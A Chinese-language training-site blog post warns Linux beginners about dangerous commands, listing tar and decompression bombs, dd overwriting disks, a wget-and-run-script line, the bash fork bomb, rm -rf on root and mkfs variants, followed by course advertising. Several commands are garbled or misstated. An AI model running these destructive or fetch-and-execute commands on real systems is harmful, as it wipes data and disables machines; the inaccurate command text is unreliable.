linux必会之危险指令

编辑: 来源: 时间: 2018-03-01 17:42 阅读:

光环大数据总结了一批非常危险的Linux指令,学习Linux的同学一定要注意,这些指令经过修改后可能会危害更大,希望同学们引以为戒!

还有一些事情需要注意:一些命令只在Ubuntu中有sudo前缀时是有危害的。其他发行版本的Linux,则是在作为根目录命令时会有危害。

1、Tar Bomb

tar命令用于将多个文件以.tar格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb可以由他创建。

当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

当收到tar文件,定期创建一个新的保护目录,然后在解压前将接受的tar文件放到这个目录中,你可以避免成为tar bomb的受害者。

2、Dd Command

Dd命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。

下面列举dd命令:

dd if=/dev/hda of=/dev/hdb

dd if=/dev/hda of=/dev/sdb

dd if=something of=/dev/hda

dd if=something of=/dev/sda

下面这个命令会将整个主硬盘清零:dd if=/dev/zero of=/dev/had

3、Shell Script Code

有时候,你可能会被人坑,给你一个shell脚本文件,让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样:wget http://some_malicious_source -O- sh。wget将会在sh狭隘脚本时下载脚本。

4、Malicious Source Code

也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。

5、Decompression Bomb

你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到KB。事实上,该小尺寸的压缩文件包含高度压缩数据。

6、Linux Fork Bomb Command

: (){ :: & };:以Fork Bomb闻名,是一个拒绝服务攻击的Linux系统。: (){ :: & };:是一个bash函数。只要被执行,他会不断重复,直到系统被冻结。

你只能重启系统解决这个问题。所以当你在Linux界面执行这个命令时一定要注意。

7、Mv Folder/Dev/Null Command

mv folder/dev/null也是一个危险的命令。Dev/null或者null device是一个删除所有写在这个设备文件上数据的设备文件,但是,该操作提示却是写入操作执行成功。这就是我们常说的bit bucked或者black hole。

8、Rm -Rf Command

rm -rf命令在Linux系统中可以快速删除文件夹及其内容。如果,你不知道如何正确使用它,你就只有哭了。

以下为m-rf命令最常见的组合和选择:

rm command:删除Linux系统的文件

rm -f command:不需提示,删除文件中的只读文件

rm -r command:循环删除文件夹的内容

rm -d command:删除空目录,如果非空目录则不会执行该操作

rm -rf/ command:强制删除根目录中的所有内容和子文件夹(包括写保护文件)命令

rm -rf* command:强制删除当前目录中的所有内容(当前工作目录)和字文件夹

rm -rf. command:强制删除当前文件夹目录/子目录中的所有内容。同rm -r.[^.]*

The rm -r.[^.]* command:删除文件及文件夹,带有删除提示

9、Mkfs Command

如果你不知mkfs的作用,那么它也是一个危险的命令,mkfs之后写的任何命令都将会被一个空白的linux文件系统格式化、替代。

下面列举出需要管理员权限,格式化硬盘的命令:

mkfs

mkfs.ext3

mkfs.bfs

mkfs.ext2

mkfs.minix

mkfs.msdos mkfs.reiserfs

mkfs.vfat

mkfs.cramfs也可以和上面的代码做同样的事情,不过不需要管理源权限。

只要文件解压,上百GB数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了。
光环大数据在此温馨提示各位同学;很多东西一定要谨慎接收,以免造成更大的危害。
文章源自光环大数据官网:http://hadoop.aura.cn欢迎访问,转载需注明出处


大数据培训、人工智能培训、Python培训、大数据培训机构、大数据培训班、数据分析培训、大数据可视化培训,就选光环大数据!光环大数据,聘请专业的大数据领域知名讲师,确保教学的整体质量与教学水准。讲师团及时掌握时代潮流技术,将前沿技能融入教学中,确保学生所学知识顺应时代所需。通过深入浅出、通俗易懂的教学方式,指导学生更快的掌握技能知识,成就上万个高薪就业学子。 更多问题咨询,欢迎点击------>>>>在线客服

你可能也喜欢这些

在线客服咨询

领取资料

X
立即免费领取

请准确填写您的信息

点击领取
#第三方统计代码(模版变量) '); })();
'); })();